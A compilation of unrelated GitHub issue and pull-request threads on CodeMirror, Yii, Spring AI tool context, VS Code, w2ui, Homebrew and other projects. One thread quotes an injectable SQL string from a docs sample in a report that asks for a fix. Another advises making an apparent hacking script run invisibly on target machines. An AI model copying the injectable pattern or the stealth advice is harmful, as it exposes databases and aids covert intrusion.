hint and fullscreen problems when codemirror is inside jquery layout

I am using codeMirror inside UI Layout Plug-in
List of Problems:

when inside layout, CodeMirror: Full Screen Editing does not work. F-11 to zoom, esc to quit
I tried full screen using jquery-fullscreen-plugin , seems to work fine but then autocomplete hint does not show up
with jquery-fullscreen-plugin , i tried giving hint container (see code below), works fine in full screen, does not work when not in full screen. Menu appear offset from cursor position.

Please see if anyone can help. I would prefer to use jquery-fullscreen-plugin but I dont know how to handle offset in hint menu because of container option
Complete Code (save as .html)
<!doctype html>
<title>CodeMirror: Any Word Completion Demo</title>
<meta charset="utf-8" />

<link rel=stylesheet href="https://codemirror.net/doc/docs.css">
<link rel="stylesheet" href="https://codemirror.net/lib/codemirror.css">
<link rel="stylesheet" href="https://codemirror.net/addon/hint/show-hint.css">
<link rel="stylesheet" href="https://codemirror.net/addon/display/fullscreen.css">

<link type="text/css" rel="stylesheet" href="http://layout.jquery-dev.com/lib/css/layout-default-latest.css" />

Center

North

South

 code Mirror

      <button id="fullscreenButton" type="button">Full-Screen</button>
      <textarea id="code" name="code">
        #!/bin/bash # clone the repository git clone http://github.com/garden/tree # generate HTTPS credentials cd tree openssl genrsa -aes256 -out https.key 1024 openssl req -new -nodes -key https.key -out https.csr openssl x509 -req -days 365 -in https.csr -signkey https.key -out https.crt cp https.key{,.orig} openssl rsa -in https.key.orig -out https.key # start the server in HTTPS mode cd web sudo node ../server.js 443 'yes' >> ../node.log & # here is how to stop the server for pid in `ps aux | grep 'node ../server.js' | awk '{print $2}'` ; do sudo kill -9 $pid 2> /dev/null done exit 0
      </textarea>

West

If you use some external library that messes with the element's layout, I guess that might interfere with setting the editor to cover the whole screen. I am not accepting integration problems with other libraries as bugs here though, you'll have to debug it yourself.

I hope this helps some one who runs in similar situation.
As per my findings,

built in cm.setOption("fullScreen", !cm.getOption("fullScreen")); will not work when codemirror is inside jquery layout.
However with jquery-fullscreen-plugin , there is a way (see the solution below).

Trick is set different cm.showHint->container  before and after fullscreen event.
and thankfully cm.showHint supports it very well.
var showHintContainer = document.body;
  // setupCodeMirror
  function setupCodeMirror() {
    CodeMirror.commands.autocomplete = function(cm) {
      cm.showHint({
        hint: CodeMirror.hint.anyword,
        container: showHintContainer
      });
    };
    //
    var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
      mode: 'shell',
      theme: 'default',
      lineWrapping: true,
      lineNumbers: true,
      extraKeys: {
        "Ctrl-Space": "autocomplete"
      }
    });
    $("#fullscreenButton").click(function(event) {
      $("#main-container").toggleFullScreen();
    });
    $(document).bind("fullscreenchange", function() {
      var fullScreenState = $(document).fullScreen() ? 'on' : 'off';
      if (fullScreenState === 'on') {
        showHintContainer = $("#main-container").get(0);
      } else {
        showHintContainer = document.body;
      }
    });
  }
  // init layout
  $('.myDiv').layout({
    resizeWhileDragging: true,
    resizable: true,
    east: {
      size: 800
    },
    onload_end: function() {
      setupCodeMirror();
    }
  });


Pull request for libspnav-dev

For travis-ci/travis-ci#4462.
Ran tests and found no setuid bits.
See https://travis-ci.org/travis-ci/apt-whitelist-checker/builds/72066077

Sorry, but this test will have to be re-run. Will open a new one later.


PSQL PDO SQLSTATE[IM001]:

I get following error: PDOException: SQLSTATE[IM001]: Driver does not support this function: driver does not support setting attributes.
It occurs when I run codeception tests using Postgres database.
So I tracked down that Postgres PDO driver does not implement ATTR_EMULATE_PREPARES attrbute
Stack trace:
#1  /vendor/yiisoft/yii2/db/pgsql/QueryBuilder.php:141
#2  /vendor/yiisoft/yii2/db/Command.php:738
#3  /vendor/yiisoft/yii2/test/InitDbFixture.php:94
#4  /vendor/yiisoft/yii2/test/InitDbFixture.php:76
#5  /vendor/yiisoft/yii2/test/FixtureTrait.php:114
#6 /vendor/yiisoft/yii2-codeception/TestCase.php:83

Is this still relevant? I can't find those mentioned files.

@nineinchnick I've linked files in original post.

It locks like the problem is the checkIntegrity methode in the postgresql QueryBuilder.
This Methode creates a list of SQL alter table commands and set the ATTR_EMULATE_PREPARES attribute to bypass the postgresql native prepare to fire multiple commands in one.
I test it with PHP7.0 (ubuntu 16.04) and postgresql 9.4 it works without an error.

Seems issue is outdated.


Add tool context support to chat options and enhance function calling

This commit adds support for tool context in various chat options classes across different AI model implementations and enhances function calling capabilities.
The tool context allows passing additional contextual information to function callbacks.

Add toolContext field to chat options classes
Update builder classes to support setting toolContext
Enhance FunctionCallback interface to support context-aware function calls
Update AbstractFunctionCallback to implement BiFunction instead of Function
Modify FunctionCallbackWrapper to support both Function and BiFunction and to use the new SchemaType location
Add support for BiFunction in TypeResolverHelper
Update ChatClient interface and DefaultChatClient implementation to support new function calling methods with Function, BiFunction and FunctionCallback arguments
Refactor AbstractToolCallSupport to pass tool context to function execution
Update all affected ChatOptions with tool context support
Simplify OpenAiChatClientMultipleFunctionCallsIT test
Add tests for function calling with tool context
Add new test cases for function callbacks with context in various integration tests
Modify existing tests to incorporate new context-aware function calling capabilities

Resolves #864, #1303, #991

I added this to openai-chat-functions.adoc for now
==== How to Use Tool Context

You can set the tool context when building your chat options and use a BiFunction for your callback:

[source,java]
----
BiFunction<MockWeatherService.Request, Map<String, Object>, MockWeatherService.Response> weatherFunction =
    (request, toolContext) -> {
        String sessionId = (String) toolContext.get("sessionId");
        String userId = (String) toolContext.get("userId");

        // Use sessionId and userId in your function logic
        double temperature = 0;
        if (request.location().contains("Paris")) {
            temperature = 15;
        }
        else if (request.location().contains("Tokyo")) {
            temperature = 10;
        }
        else if (request.location().contains("San Francisco")) {
            temperature = 30;
        }

        return new MockWeatherService.Response(temperature, 15, 20, 2, 53, 45, MockWeatherService.Unit.C);
    };

OpenAiChatOptions options = OpenAiChatOptions.builder()
    .withModel(OpenAiApi.ChatModel.GPT_4_O.getValue())
    .withFunctionCallbacks(List.of(FunctionCallbackWrapper.builder(weatherFunction)
        .withName("getCurrentWeather")
        .withDescription("Get the weather in location")
        .build()))
    .withToolContext(Map.of("sessionId", "123", "userId", "user456"))
    .build();
----

In this example, the `weatherFunction` is defined as a BiFunction that takes both the request and the tool context as parameters. This allows you to access the context directly within the function logic.

You can then use these options when making a call to the chat model:

[source,java]
----
UserMessage userMessage = new UserMessage("What's the weather like in San Francisco, Tokyo, and Paris?");
ChatResponse response = chatModel.call(new Prompt(List.of(userMessage), options));
----

merged in 9c10a08bef839ef045cc23881db6810b62a29ae9


Getting spammed by notifications

Hello!
As written in this review, I get spammed with notifications (I'd say 10 per hour) although I've setup the cleanup to be done every 24h as you can see here:

Note: I use Firefox Sync and I have 3 or 4 devices with History Cleaner installed on them (I don't know if the settings are also shared or if it's only the extensions).

You have the Trigger Mode set to Idle, not Timer. Idle will trigger every time you leave your computer with no input for the Idle Length (by default, 60 seconds). If you want it to run once every 24 hours, set the Trigger Mode to Timer.
I'm planning on making Timer the default in the next version, but right now Idle is still the default.

Aaah I see! I thought it was a combination of the two settings: clean every 24h, but only when the browser is idle (to prevent using CPU while the user is actively using their browser).
You can close this issue if you want 😉
Thanks!


Submission: Prepare 2 projects candidate

What is the expected
We need to have 2 projects ready to be add in the ecosystem.
Can be our own project or from other advocates
Requirements

using qiskit
be compatible qiskit latest and qiskit dev (master branch)
having unit tests (>80% coverage)
having a well linter (could use black)

Epic #9

@IceKhan13 could you add some labels please 😄

Candidates:

https://github.com/q-optimize/c3
https://github.com/HuangJunye/QPong

https://github.com/SupertechLabs/qiskit-superstaq - no requirements.txt

It looks to have one : https://github.com/SupertechLabs/qiskit-superstaq/blob/main/requirements.txt

closed in #92


Share_preferences web support using localStorage

Share_preferences web support using localStorage

Looking for the same. Please look into the issue

same issue

SharedPreferences is a native mobile plugin.
If you want cross-platform storage, Hive would be a better solution as it is dart-written and has full web support.

@jonataslaw that works 👍 thx

Hi @sondresorbye0111
can you please describe your proposal more extensively
thank you

Olá @ sondresorbye0111,
você pode descrever sua proposta mais amplamente
obrigado
@RohithKilaparthi @undamatlamanikanta,
por favor considere que shared_preferences não se destina a trabalhar para a web
Wraps NSUserDefaults (on iOS) and SharedPreferences (on Android),
providing a persistent store for simple data.

Hi iapicca, I believe this topic can already be closed based on the author's answer above yours.


The 1.69.2 vscode server has high CPU usage （>50%）

I use VS Code latest version 1.69.2 , and remote connect to my cloud VM. After one or two days， I found the cpu usage is very high .The detail of the process is :
my-user 18954 17082 0 12:10 ? 00:00:04 /home/my-user/work/.vscode-server/bin/3b889b090b5ad5793f524b5d1d39fda662b96a2a/node /home/my-user/work/.vscode-server/bin/3b889b090b5ad5793f524b5d1d39fda662b96a2a/out/bootstrap-fork --type=extensionHost --transformURIs --useHostProxy=false
There are 8 node  processes in total，every cpu usage is large than 50%
The question is:
What process is this?
Why the cpu usage is so high?
When I close all the connected windows and then reconnect to my remote VM, these processes are still here. Why are these processes not closing automatically?
Is this the bug of VSCode 1.69.2?

Please collect info using the instructions in the performance wiki: https://github.com/microsoft/vscode/wiki/Performance-Issues#consuming-cpu

This issue has been closed automatically because it needs more information and has not had recent activity. See also our issue reporting guidelines.
Happy Coding!


Dpl957 fix local integration suite

Closes #
Changes proposed in this pull request

Instructions for Reviewers
[All PRs] - Confirm PR template filled
[Feature Branches] - Review code
[Production Merges to main]
    - Check story numbers included
    - Check for debug code
    - Check version

The problem was only happening with plates in development, because we were using a mocked service instead of Baracoda and returning the barcodes generated in memory, with no record from a previous one. In case of tubes the barcodes are created in the database directly, which is creating the record in the database before serving it, so the race condition should not happen there.


fix: specify minimum rust version

Adds a specification for the Minimum Supported Rust Version (MSRV).
#[derive(Default)] on enums with a #[default] was added to the rust stable channel in version 1.62.
see:
https://doc.rust-lang.org/cargo/reference/manifest.html#the-rust-version-field
https://github.com/rust-lang/rust/pull/94457

Would be good to enforce this in the cli and sdk packages too


Fix: Update VCLibs Hash; Enable Local Manifest Files

[x] Have you signed the Contributor License Agreement?
[x] Have you checked that there aren't other open pull requests for the same manifest update/change?

Note: <path> is the name of the directory containing the manifest you're submitting.

Resolves #28844
cc @KevinLaMS @denelon
Microsoft Reviewers: Open in CodeFlow

@denelon Would I be able to trouble you for a merge?


You can't save your test reports to custom directory.

As the title says, I would like to save my test reports to a custom directory but I can't find any support for it in the documentation. Is it there and I am blind or is the support coming?

Use option "screenshotsDir" – directory to save reference screenshots to. /gemini/screens by default.


fix: Update lambda type signatures

Lambda context isn't called with the same parameters as the express version:
https://github.com/prismagraphql/graphql-yoga/blob/e73f9b68a405e43d5260c8068b3d3244a4d00730/src/lambda.ts#L116
vs
https://github.com/prismagraphql/graphql-yoga/blob/e73f9b68a405e43d5260c8068b3d3244a4d00730/src/index.ts#L254

@divyenduz rebase complete. It's been awhile since I wrote this so it might benefit from checking it a bit.

@DavidJFelix : Thanks for the PR 🙌 | LGTM

:tada: This PR is included in version 1.16.7 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Heatmap display not good enough

Heatmap in infini-client display not good enough because of light opacity. Here is a screenshot of it:

fixed by pr #505


Securing SignalR Hubs

The authorization context and user claims do not seem to pass down to SignalR Hubs in the ASP.NET Core server project of the ASP.NET Core hosted WASM solution. Can this be documented here?

Hello @joshgreenwald ... Your "here" isn't clear. Re-open this using the This Page feedback button+form at the bottom of the English topic. It will add metadata that cross-links the topic and automatically pings the author.


fix(ffe-lists): no space when to dd folow each other

Looks strange with a lot of padding when 2 or more <dd/> follow each other. There is no prev-sibling selector to remove the padding so my options are limited if I dont do a bigger rewrite.

Coverage remained the same at 81.934% when pulling 3a7df3f36d94d9fdef46dedb7f1a8428079396e8 on develop_fix-descriptionlist into 71298ed551e8a2b77b13c8102887efb2d75fb582 on develop.


fix warning / enforce TLSv1.2

Fixes this issue: #37
Signed-off-by: Emmanuel Leroy<EMAIL_ADDRESS>

Thanks @streamnsight for the fix


Create a solution for updating page layout from a template

Use case:
We often need to batch update the formatting and layout of our Markdown pages all at once.
For example:
Adding tags, adding a new page section, creating new callout boxes and graphics, etc.
This needs to be automated so the page layout changes can easily be applied to hundreds of pages.
I'm guessing for now we can write a simply Python script and decide what to do from there.

I'm working on this with my fork: https://github.com/bigolboyyo/data-magic-wg
I'll have a method to do this and will provide a full walkthrough. I'll need a few more days to finish flushing it out

I am creating a content_generator class this will allow us to do things like:
cg = ContentGenerator(api_key, "completions", query_params)
or even set it to "markdown" mode and allow us to pass in individual csv, template, and yml files.
See my progress in app/models/content_generator
class ContentGenerator:
    def __init__(
        self,
        api_key,
        mode="markdown",
        yml_file="prompts.yml",
        csv_file="file_info.csv",
        template_md="template.md",
        output_dir="output",
        completion_params=None,
    ):
        self.api_key = api_key
        self.mode = mode
        self.yml_file = yml_file
        self.csv_file = csv_file
        self.template_md = template_md
        self.output_dir = output_dir
        self.request_count = 0
        self.progress = self.handle_progress("load")

        if self.mode == "markdown":
            self._initialize()
        elif self.mode == "completion" and completion_params:
            self.generate_completion(**completion_params)

    def _initialize(self):
        prompts, file_info, template = stage_content(
            self.yml_file,
            self.csv_file,
            self.template_md,
            self.output_dir,
        )
        ```

I had a quick 1:1 with Shree and Howard getting them up to date with the progress so far and some general flask and file structure info.
I took Howard's original logic and started modeling it out. I left off at the looping of the output pages and the actual writing.
If we look at the original generate_markdown.py we'll see I left off here.
# Loop over pages and generate output
for page in file_info:
    # Generate output for current page
    progress_made = generate_content(prompts['Progress Made']['prompt'].replace('{Topic}', page['Topic']))
    lessons_learned = generate_content(prompts['Lessons Learned']['prompt'].replace('{Topic}', page['Topic']))
    challenges_ahead = generate_content(prompts['Challenges Ahead']['prompt'].replace('{Topic}', page['Topic']))
    best_path_forward = generate_content(prompts['Best Path Forward']['prompt'].replace('{Topic}', page['Topic']))

    # Populate the template with the generated content
    output = template.format(
        topic=page['Topic'],
        progress_made=progress_made,
        lessons_learned=lessons_learned,
        challenges_ahead=challenges_ahead,
        best_path_forward=best_path_forward
    )

    # Write output to file
    with open(f"output/{page['File Name']}", 'w') as f:
        f.write(output)

The main focuses we need to keep in mind are error handling, accidental overwrites, and general file structure.

We should be able to create a new file or files.
Choose an output directory | default = 'output'
We should be able to edit, replace, existing files
We need to incorporate the image fetching and make it optional and have the ability to add our own custom images
finish directory setup so our logic is structured (When we write, edit, read, update our files it should know where to put the output.

We'll need an
output/sectors
output/solutions
..etc
That way let's say we want to write a new page with a custom template. We can pass in that unique template for that page.
Or let's say we want to update a specific template already being used?
Finishing this up will stage us for deployment and allow us to move onto the real meat and bones!

One more thing to focus on is the formatting for our requests.
Currently we are making 4 requests for each page, instead of creating a format and requesting it all in once
    progress_made = generate_content(prompts['Progress Made']['prompt'].replace('{Topic}', page['Topic']))
    lessons_learned = generate_content(prompts['Lessons Learned']['prompt'].replace('{Topic}', page['Topic']))
    challenges_ahead = generate_content(prompts['Challenges Ahead']['prompt'].replace('{Topic}', page['Topic']))
    best_path_forward = generate_content(prompts['Best Path Forward']['prompt'].replace('{Topic}', page['Topic']))
    ```

    The idea being to do something like

    compiled_request = {
    progress_made,
    lessons_learned,
   challenges_ahead,
   best_path_forward
   }

   and then our method for creating the request can do something along the lines of generate_content(compiled_request)

   I quickly pseudo coded that up, but I hopefully this is enough to get us all situated and rolling!

@bigolboyyo to confirm that we're solving the use case - will your solution allow simple insertions of Markdown in a section of a page or multiple sections of a series of pages in various ways?
For example, often times an editor will need to do the Wikipedia thing and have "Citation Needed" warnings or "Help us make this page better" etc., likely in the middle of the page for a certain section.
I don't want to over-presume what the templating and batch editing needs are until we run into those scenarios but I'm also trying to think ahead :)

Yeah so the ability to edit, replace files is what we're looking for. By modeling out our original logic it will allow for us to do this very easily.
"For example, often times an editor will need to do the Wikipedia thing and have "Citation Needed" warnings or "Help us make this page better" etc., likely in the middle of the page for a certain section."
We are just talking about conditional rendering at this point. Our logic for this class will have some sort of "edit" method that will grab "whichever specific file" and insert markdown, replace the whole thing, add the "citations needed" logic etc

Updated file structure on side branch. Will incorporate with Shree and Howard when the planned modeling is finished.
https://github.com/bigolboyyo/data-magic-wg/tree/format

Quick example of what I'm prototyping:
        if self.unsplash_access_key:             image_url, user_link = self.fetch_unsplash_image(page["Topic"])             if image_url and user_link:                 image_section = f"![{page['Topic']}]({image_url})\n\nPhoto by [Unsplash]({user_link})"             else:                 image_section = ""         else:             image_section = ""
As I build on this I'll do something along the lines of:
`

if(self.unsplash):

fetchUnsplashImags(self, "topic", limit=50)
`
and than we can handle issues with what @futuresoup mentioned.
`
else:
update template to say "Help us add an image!"
or
"No data on this yet? Want to get involved? Do X Y Z

@ArLough you're taking this over.
I'm not sure if @bigolboyyo's comments above are still relevant to where we are or not.
What we have so far is a working API that can handle certain Postman requests, such as adding tags to a page.
We'll have to document what it can do so far, how to do it, and what still needs to be able to do.
As far as I know - it doesn't do the main thing, which is insert/replace custom text blocks in the proper section of bunch of pages at once.

Ok sounds good, I think I'll focus on the documentation first to get a good grasp on how it works prior to adding new features.

Adding @CaelanMacArthur since this is similar to #40.

@futuresoup I am almost done with #40 and get started on this next.

Pushed some changes which should have "add_tags" and "remove_front_matter" endpoints working. Working on more, but pushed what I have rn. #47


Add LINUX section in examples

Hi guys!
I'm very excited to play with your PerfectLibs and I'm currently trying to build my own server on my Linux machine :D I started with examples :) Therefore, I believe it would be great if you could add Linux section in examples, e.g. in [https://github.com/PerfectlySoft/Perfect/tree/master/Examples/Tap Tracker#tap-tracker] and include solutions like the one mentioned in #46 ;)
Same thing with Authenticator Server. To make it work on Linux, one needs to (after make) copy the index.mustache, login.mustache and register.mustache to ~/Perfect/PerfectServer/webroot/

I completely agree - this is something we are actively working through.
I'm going to close this though, as it's an active work in progress. Thanks!


ARGV: Replace usages of ARGV.resolved_formulae with Homebrew.args

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.

[x] Have you successfully run brew tests with your changes locally?

#5730

@MikeMcQuaid I am not able to reproduce the failing test locally, I am instead getting a segmentation error for that particular test. Any pointers/ideas on how do to debug it ?

@GauthamGoli What macOS version are you on?

(this is an issue that seems to happen sometimes with the portable ruby only when running brew tests).

I am on macOS High Sierra 10.13.6

Actually, let's just 🚢. Thanks again @GauthamGoli!


Here is fix for Victory of the day issue!

Victory of the day slightly goes into current home_screen icon making it not register. here is cropped icon so victory of the day no longer causes problems

Victory of the day slightly goes into current home_screen icon making it not register. here is cropped icon so victory of the day no longer causes problems

U  a r e  a  f k i n g  g o d


Not train with vectorized environment for APIs you don't have control over?

Is there a way to not use vectorized environment to train PPO and A2C for APIs that you can't really wrap with a DummyVecEnv? and not have to use either "Box" or "Discrete" for action/obs space?
for environments that don't really have control over the code? such as starcraft2 or other non-self-created games? (don't believe pysc2 provides vec envs, nor are action/obs in box/discrete format)

If you want the algorithms in baselines to work without modification with a custom environment, it will need to adhere to the gym interface.  If it uses that interface, you can use the DummyVecEnv wrapper to convert it.
If the environment doesn't currently have the gym interface, you will either need to create a python object that meets the interface or else change the baselines code to handle this new type of environment.


Restore Chosen Playback Speed After Seeking

When seeking using the progress bar, the playback speed is reset to 1.
I've changed the code to restore the playback speed after seeking to the new position in the progress bar.

Thanks, I tried that code, but for some reason the speed resets again. Maybe the 1 second wait is necessary?


#77: scala2.13 support

Closes #77

https://github.com/AbsaOSS/atum-service/blob/cdf18c2c5073b4b339178aa0ccfa8cb20844a93d/.github/workflows/jacoco_check.yml#L36C27-L36C27
Please update this to from 2.12.12 to 2.12

https://github.com/AbsaOSS/atum-service/blob/cdf18c2c5073b4b339178aa0ccfa8cb20844a93d/.github/workflows/jacoco_check.yml#L36C27-L36C27
Please update this to from 2.12.12 to 2.12

I have updated it to 2.12.18. That fixed missing JaCoCo comments.

https://github.com/AbsaOSS/atum-service/blob/cdf18c2c5073b4b339178aa0ccfa8cb20844a93d/.github/workflows/jacoco_check.yml#L36C27-L36C27
Please update this to from 2.12.12 to 2.12

I have tested this "requirement" on another GHA workflow and it does not work. The not shorted scala version string is required in titles (can be changed, here) and in sbt ++{scala.version} call, where it is required.

Oopsie. We recently added (outside of this PR) logging via SLF4S, but that's not yet compatible with Scala 2.13 :( https://github.com/mattroberts297/slf4s/issues/20

[x] code reviewed
[ ] pulled
[ ] built
[ ] run


Grocery list templates

We should have the ability to save grocery lists as a template which can be loaded in the future.

https://github.com/elwinvandos/GoGroceries/pull/58


in the requirement keras is mentioned but did not mention which version of keras to install. because in the latest version most of the methods used here is depreciated can some one suggest version for both keras and tensorflow also  will be better if all version of all the dependencies mentioned in the requirement.txt  are knowm

in the requirement, keras is mentioned but did not mention which version of keras to install. because in the latest version most of the methods used here is depreciated can someone suggest version for both keras and tensorflow

I don't have plans to support the newest keras immediately (TF2.0 has lots of breaking changes and have to keep up on that too..)
will work on when things chill out a bit.


decimalSymbol not working

Hi I have encountered a problem with decimal separators.
in us format the decimal separator is "." but in italy the separator is "," I tried this configuration
import { w2utils } from "/w2ui-2.0/w2ui-2.0.es6.min.js"
w2utils.locale({
dateFormat : "dd/mm/yyyy",
timeFormat : "hh:mm",
currencyPrefix : "€ ",
currencySuffix : "",
currencyPrecision : 2,
groupSymbol : "",
decimalSymbol : ","
});
let win = new w2form({
"name": "win",
"style": "border: 0; background-color: transparent;"
"autosize": true,
"fields": [
{
"field": "price",
"type": "money",
"required": true,
"html": {
"label": "price"
}
},
]
})
but on typing the comma is accepted but the output on the filed is always with the dot
w2utils.locale({
dateFormat : "dd/mm/yyyy",
timeFormat : "hh:mm",
currencyPrefix : "€ ",
currencySuffix : "",
currencyPrecision : 2,
groupSymbol : ".",
decimalSymbol : ","
});
does not completely accept the value of the filed

can you create jsFiddle?

One Addition. The given settings, especially these two lines
w2utils.settings.groupSymbol = ".";
w2utils.settings.decimalSymbol = ",";

will also break the search of all "int" and "float" fields.


Outdated repo

This repo shows the code and instructions for the 0.1.0 version of the gem, while the one available at rubygems is 0.2.2.
That makes using this gem unintuitive, as we must either purposefully install v 0.1.0 or dig the readme from the downloaded gem and use those instructions.
The latest version of the source code should be uploaded here

This repo has not made to the rubygems repository yet. All the available versions there are not officially supported. Those are published by individual contributors.

The README.md instructions in this repo instruct the users to install the msg91 gem from the rubygems repository. If that gems are unrelated to this repo, then you shouldn't be referencing it from here,

@camiloforero -- Thanks! I've updated the installation instructions for this gem.


Add av cherry-pick

Run av stack restack after a cherry pick so that the stacks are aligned.

is this issue open for contributions?
Yes, absolutely. @draftcode can you add some more context to this ticket?

Hey @draftcode @jainankit
Just wanted to provide a gentle nudge regarding this!
Thanks!

Let me add the context. git cherry-pick as a command already exist: https://git-scm.com/docs/git-cherry-pick
When working with av CLI, it would be nice to have a more native experience of managing the cherry-pick. So in addition to the typical cherry-pick behavior where a commit is added to the current branch, this command should also run the av stack restack command internally, so that the entire stack is updated.
Note that this command should NOT be pushing the changes to remote.
It should support all capabilities of the standard git cherry-pick, and should gracefully handle scenarios where the cherry-pick fails due to conflict, allowing user to continue after resolving the issue.
av cherry-pick [--edit] [-n] [-m <parent-number>] [-s] [-x] [--ff]
		  [-S[<keyid>]] <commit>…
av cherry-pick (--continue | --skip | --abort | --quit)

If the additional params ([--edit] [-n] [-m <parent-number>] [-s] [-x] [--ff][-S[<keyid>]]) are too complicated to support, it's ok to not support them at the beginning, but we should still handle the failure scenarios and not leave dev env in a bad state.

Hey folks! @jainankit @draftcode
Sorry that I haven't been able to work on the issue as of yet! I'm just busy with all of the tasks during this part of the semester. I will give you folks an update in a couple of weeks time.
Appreciate your understanding!

Hey @draftcode @jainankit
I've started work on this https://github.com/aviator-co/av/pull/495 sorry I took a long time to get back to this, but yeah, the semester ended yesterday and I'm here on it.
I would appreciate any feedback on the current status, but yeah, thanks again for the opportunity to contribute.


add pkg/controllers/dynakube/dynatraceclient:Builder interface to mocker.yaml

Description
This PR migrate dtclientBuilder to mockery
How can this be tested?
Run unit tests
Checklist

[x] Unit tests have been updated/added
[x] PR is labeled accordingly with a single label
[x] I have read and understood the contribution guidelines

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (0c1b558) 65.20% compared to head (0c064df) 65.25%.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main    #2615      +/-   ##
==========================================
+ Coverage   65.20%   65.25%   +0.04%
==========================================
  Files         251      250       -1
  Lines       16447    16435      -12
==========================================
  Hits        10724    10724
+ Misses       4899     4887      -12
  Partials      824      824

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Suggestions

This is not a bug report
Just wanted to say some suggestions about your code and some other about the language you are using for hack stuff.
Suggestion 1
Hacker guy needs to run the script in Python in target machine, right?
This is not good, because what if the target machine does not have python installed?
This script can be so much better if you generate an executable file(.exe) from it that just runs with a double click and does not open up a terminal windows and does all of the works invisible and unrecognizable.
Suggestion 2
You are using python...
I'm not saying python is not gonna work in hack stuff, actually it works but the problem is the speed.
Yes, the speed is the reason why all of hackers are using C or C++ language for their hack stuff in target systems and python or bash for their automation stuff in their own system.
In my experience, C++ is good and fast enough for hack stuff but of course if you are gonna deep in this subject, you need to start coding in C sooner or later.
Suggestion 3
At least use a license for your codes, cause everyone can now copy your code with no permissions and claim that he/she is the author of it, not you.
Best regards,
Mahmood Heidari

Hey there, Thanks for the Tips!
I purposefully did not include the compiled exe file cuz no one trusts executables from a stranger.
feel free to use the code for your own needs which I'm definitely not gonna be related to😊
I know python isn't the best tool for hacking stuff but also running some console commands isn't necessarily hacking tho!
I'd call it automation at best🤷♂
also I'm starting some private projects which will most definitely be needing C or C++ for some processing parts, so thats coming to my tech stack too😌
License? come on bro...!
that would mean that I would have to check is someone else had built such thing and I didn't have the energy for that kinda thing


Add COOP+COEP+CORP headers

Pull Request Description
Adds COOP+COEP+CORP headers. This is mainly required for high resolution timing (on Chrome, it increases performance.now resolution from 100us to 5us)
Important Notes
None
Checklist
Please ensure that the following checklist has been satisfied before submitting the PR:

[x] The documentation has been updated, if necessary.
[x] Screenshots/screencasts have been attached, if there are any visual changes. For interactive or animated visual changes, a screencast is preferred.
[x] All code follows the
Scala,
Java,
and
Rust
style guides. In case you are using a language not listed above, follow the Rust style guide.
All code has been tested:

[x] Unit tests have been written where possible.
[x] If GUI codebase was changed, the GUI was tested when built using ./run ide build.

mini self QA:
:heavy_check_mark: self.crossOriginIsolated === true + 5ms resolution performance.now on npm run watch-dashboard
:heavy_check_mark: self.crossOriginIsolated === true + 5ms resolution performance.now on ./run gui watch
:heavy_check_mark: self.crossOriginIsolated === true + 5ms resolution performance.now on ./run ide watch
:heavy_check_mark: self.crossOriginIsolated === true + 5ms resolution performance.now on ./run ide build
:heavy_check_mark: google login still works on npm run watch-dashboard
:question: oauth still works on desktop IDE - i cannot test as i'm not on macos
issues, unrelated to this PR:
:x: github login works on npm run watch-dashboard - it fails with OAuth - Error handling auth response. Error: User+is+not+confirmed.+ at @aws-amplify/auth/src/OAuth/OAuth.ts:222 (handleAuthResponse)
:x: oauth works on gui watch - this is a known issue. the main issue is that localhost:8080 isn't a valid redirect url for cognito

I tested it and it does seem to not break anything. I did not test loging with the new dashboard as its not enabled and I don't know how to run it, but if it did not break login using Google, then it should not influence anything else.


Genes not being returned by autocompleter

It looks like only diseases and go terms are coming back now.

I think this might be something I introduced in loading all the new gene files. I will look into it and try to figure it out.

Upon further investigation, running older versions of code against the index produces the same results: Diseases and GO with no Genes. So I am leaning toward it being an index issue and not a code issue.

I'll take a look at it, the field names are sort of "in transition" between what they were in the prototype and matching the BGI schema, and mostly duplicated, but that seems like a likely culprit.   I've been wanting to have some tests that run against a fully populated index (even if we just run them manually), so this will give me an excuse to do that too.

It would be nice to have tests that would basically take an empty index inject a DM and then query for it via the different ways that we query, and check that the fields exist and with the same data that was injected. This way we don't create data dependent tests. Which is an issue we have here at MGI. Tests just start failing and time gets waisted, just to find out someone deleted an Allele or OMIM term etc, and our tests were using it.


SQL Injection Vulnberability

Your code sample is vulnerable to SQL Injection and it's beginner-level instruction, so you're giving it to beginners that may not know any better.  Please change the following sample code to use parameters instead:
"INSERT INTO Persons (firstName, lastName) VALUES ('{person.FirstName}', '{person.LastName}'"

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 44024cf5-4c44-cef0-ad7c-7a8f2306555c
Version Independent ID: db32e250-c705-33a8-3b76-eafffcf3e3ae
Content: Connect to and query Azure SQL Database using .NET and the Microsoft.Data.SqlClient library - Azure SQL Database
Content Source: azure-sql/database/azure-sql-dotnet-quickstart.md
Service: sql-database
Sub-service: security
GitHub Login: @alexwolfmsft
Microsoft Alias: alexwolf

Hi @frankiwilson ,
Thanks for sharing this feedback. We will look into this and update as appropriate.
Hi @alexwolfmsft,
Could you please look into this request, thanks

Thanks.  If you want another fun ChatGPT story, then I'll tell you how I
stumbled across this.  My son is learning to code and is using ChatGPT as a
learning partner.  He found this code, copy/pasted it into his project,
where he'd absolutely implemented a SQL Injection vulnerability, but the
code didn't compile.  He pasted it into ChatGPT and asked for help, which
then told him that his code was vulnerable and how to fix it.  🙂
On Wed, Jun 28, 2023, 11:19 PM shaktisingh-msft @.***>
wrote:

Hi @frankiwilson https://github.com/frankiwilson ,
Thanks for sharing this feedback. We will look into this and update as
appropriate.
Hi @alexwolfmsft https://github.com/alexwolfmsft,
Could you please look into this request, thanks
—
Reply to this email directly, view it on GitHub
https://github.com/MicrosoftDocs/azure-docs/issues/111555#issuecomment-1612488504,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AB5E6ZCTMHERFXFIAB5QW5DXNUM6VANCNFSM6AAAAAAZX6Z7RA
.
You are receiving this because you were mentioned.Message ID:
@.***>


ARM CoreSight Tracing

